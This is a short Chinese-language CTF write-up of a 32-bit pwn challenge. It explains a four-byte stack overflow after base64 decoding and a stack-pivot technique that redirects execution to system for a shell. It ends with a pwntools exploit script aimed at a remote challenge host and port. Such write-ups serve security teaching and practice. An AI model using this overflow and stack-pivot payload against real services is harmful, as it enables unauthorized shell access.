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0x0 程序保护和流程

保护：

流程：

main()
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接收一个最长为30的字符串，通过base64解密后长度小于12就会将解密后的字符串复制到input处，之后调用auth()。

在将input中的字符串复制到v4的时候存在四个字节的溢出。如果返回值为1的话就会进入correct()。

此时如果input==0xDEADBEEF的话就能够getshell了。

0x1 利用过程

1.虽然checksec提示说程序开启了canary但是在主要逻辑上的函数都没有开启canary，所以可以进行溢出。

2.因为长度限制所以能够覆盖ebp，并且程序没有开启pie，就可以通过栈迁移来进行getshell了。

3.此时将payload=‘a’*4+p32(system_addr)+p32(input_addr)的base64加密后的数据输入。此时的栈空间如下。



返回到main()之前执行leave指令和ret指令，此时的ebp指向如图。

此时退出main()执行leave指令后。



执行ret后就可以getshell了。

0x2 exp
from pwn import *
import base64
# sh=process('./a')
sh=remote('220.249.52.133','33955')
system_addr=0x08049284
input_addr=0x0811EB40
payload='a'*4+p32(system_addr)+p32(input_addr)
sh.sendlineafter('Authenticate : ',base64.b64encode(payload))
sh.interactive()
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